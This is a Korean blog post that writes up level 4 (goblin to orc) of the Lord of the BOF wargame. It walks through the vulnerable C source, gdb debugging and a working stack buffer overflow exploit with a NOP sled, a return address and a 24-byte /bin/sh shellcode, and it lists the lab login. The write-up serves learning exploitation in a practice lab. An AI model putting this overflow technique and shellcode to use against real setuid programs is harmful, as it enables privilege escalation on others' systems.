[LoB] Level4. goblin -> orc

marceline·2024년 5월 30일
0

[LoB]

목록 보기
5/5

접속정보

id: goblin
pw: hackers proof

취약점 분석

ls -al

마찬가지로 특수권한 ‘s’가 보인다.

여기서 ‘s’권한은 linux의 특수권한으로 ‘setUID’이다.

setUID가 설정된 파일은 실행 시 일시적으로 파일 소유자의 권한을 열어 실행할 수 있도록 한다.

따라서 gremlin 파일을 gate가 실행시킬 시, 소유자인 gremlin의 권한으로 rwx를 수행할 수 있는 것이다.

따라서 이 문제는 앞선 문제와 같이, goblin에서 orc의 셸을 따내어야한다는 것을 알 수 있다.

orc.c 분석

cat orc.c

이번에는 argc인자를 검사하는 과정이 추가되었고, argc가 2보다 작을 때 프로그램이 종료된다.

뿐만 아니라 buffer이외에도 여러 변수가 선언되어있고, 처음보는 함수도 있어서 한줄한줄 정리하고, 메모리구조를 정확하게 파악해야할 것 같다.

[goblin@localhost goblin]$ cat orc.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);
}

extern char **{var}

extern char **environ

이는 C언어에서 환경변수에 접근하는 방법 중 하나이다.

즉, **environ은 환경변수 리스트를 가리키는 포인터로써 exturn키워드를 통해서 다른 파일에서 정의된 변수를 참조한다.

if 문

if(argc < 2){
		printf("argv error\n");
		exit(0);
	}
  • 참고: argc 기억이 너무 흐릿해서 정리했던거 다시 찾아봤다..
    int main(int argc, char* argc[]){ }
    일단 위가 main함수 원형인데, argv는 argument vector로 main()에 전달되는 실질적인 정보, 문자열의 배열을 뜻하고, argc는 argument count로 main()에 전달되는 정보의 갯수를 뜻한다. 따라서 argc<2 일시 프로그램이 종료되는 것은, main()에 2개 미의 정보를 전달할 수 없다는 의미인데, 즉, argv[2] 에 셸코드를 삽입할 수 있을 것 같다.

effhunter

다음으로 //egghunter 이후의 코드를 살펴보면,

// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

환경변수배열을 for문을 사용하여 순회하고, memset()에서 메모리의 특정 범위를 특정 값으로 채운다.

코드에서는 environ[i] 가 가리키는 환경변수 문자열의 모든 바이트를 0으로 설정한다. (즉, 지우는 것)

  • 참고: memset함수
    함수의 원형은 아래와 같다.
    ```bash
    void* memset(void* ptr, int value, size_t num);
    ```
    
    첫번째 인자 `environ[i]` 은 셋팅하고자 하는 메모리의 시작 주소,
    
    두번째 인자 `0` 은 메모리에 셋팅하고자하는 값이다.
    
    세번째 인자 `strlen(environ[i])` 는 길이를 뜻한다.
    
    [[C언어/C++] memset 함수 메모리 초기화](https://blockdmask.tistory.com/441)

memset 함수로 인해서 2, 3번문제와 같이 환경변수를 이용한 공격은 불가할 것 으로 예상된다.

if argv

if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

argv[1][47] != '\xbf' 이 조건문은 argv[1], 즉 첫 번째 명령줄 인자의 48번째 문자가 16진수로 '\xbf' 가 아닐때 프로그램을 종료시킨다.

메모리구조

cp orc goblin
gdb -q goblin
(gdb) disass main

gdb 를 사용하여 main의 메모리 구조를 살펴보면 아래와 같다.

이를 토대로 아래와 같이 간략히 메모리 구조를 그렸다.

i 가 buffer보다 더 늦게 선언되었기 때문에 페이로드 작성할 때 4만큼 더 채워줄 필요는 없을 듯 하다.

argv[2] 주솟값찾기

strcpy 다음과 메인함수 종료 직전에 브레이크 포인트를 설정하였다.

(gdb) b *main+194
(gdb) b *main+211

버퍼 사이즈 (40) + SFP (4) 즉, A를 44개 넣고, RET에는 \xbf 를 넣어 argv[1] 을 전달했다.
argv[2] 에도 값을 넣어주어 argv[2]의 주솟값을 알아내고자 한다.

(gdb) r `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf"'` `python -c 'print "\x90"*200 + "B"*40'`

0x90으로 채워진 주소들이 모두 argv[2] 기 때문에 그 중 0xbffffb9c 를 RET로 지정하기로 했다.

exploit

페이로드를 구성하면 아래와 같다.

메인에 인자를 세개 전달하는데,

첫번째 인자는 ./orc

두번째 인자는 NOP (40) + SFP (4) + NOP의 주소 (0xbffffb9c)

세번째 인자는 NOP (200) + Shellcode (24)

./orc `python -c 'print "A"*40 + "B"*4 + "\x9c\xfb\xff\xbf"'` `python -c 'print "\x90"*200 + "{Shellcode}"'`
  • shellcode (24)
    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

0개의 댓글